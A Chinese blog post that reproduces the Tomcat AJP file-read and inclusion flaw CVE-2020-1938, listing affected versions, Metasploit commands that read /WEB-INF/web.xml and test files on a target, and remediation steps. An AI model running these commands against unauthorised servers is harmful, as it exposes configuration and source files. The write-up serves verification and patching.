【Tomcat 文件读取/文件包含(CVE-2020-1938)漏洞复现】


前言

近日在做漏扫时发现提示服务器存在CVE-2020-1938漏洞,故文章记录一下相关内容。


一、漏洞名称

Tomcat 文件读取/文件包含漏洞(CVE-2020-1938)

二、漏洞描述

CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码,此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

三、受影响端口

8080、8009(默认)

四、受影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

五、漏洞验证

1)漏扫软件截图

2)msf验证

msfconsole
search cve-2020-1938
use 0
set rhosts xxxxx
run

可以看到能够读取到目标主机tomcat目录下的配置文件中/WEB-INF/web.xml文件

在/WEB-INF/目录下创建测试文件test.txt 内容为:123

重新设置参数

set filename /WEB-INF/test.txt

一样可以读取到

再在上层目录ROOT下创建测试文件test.txt ,内容:123,同样可以读取

至此漏洞复现完成

六、修复建议

1、首先建议升级 tomcat 版本,升级到 9.0.31、8.5.51 或 7.0.100 以上版本。
2、无法更新版本,可以考虑临时禁用 AJP 协议8009端口
   在 tomcat 根目录下找到 conf/server.xml 配置文件中注释掉
   <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
3、若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-13 06:18:05       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-13 06:18:05       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-13 06:18:05       87 阅读
  4. Python语言-面向对象

    2024-04-13 06:18:05       96 阅读

热门阅读

  1. Docker 安装Kali Linux作为攻防演练的工具

    2024-04-13 06:18:05       55 阅读
  2. 设计模式-策略模式

    2024-04-13 06:18:05       40 阅读
  3. docker部署chatgpt步骤

    2024-04-13 06:18:05       44 阅读
  4. 数据结构_基于链表的通讯录

    2024-04-13 06:18:05       46 阅读
  5. ChatGPT让论文写作更高效,让学术研究更精彩

    2024-04-13 06:18:05       43 阅读
  6. Conda 常用命令总结

    2024-04-13 06:18:05       41 阅读
  7. ChatGPT:打破论文写作传统,开启智能时代

    2024-04-13 06:18:05       38 阅读
  8. HiveSQL基础Day03

    2024-04-13 06:18:05       31 阅读
  9. 通过 Vue 3 组合式 API 优化 Uni-app 基础页面功能

    2024-04-13 06:18:05       103 阅读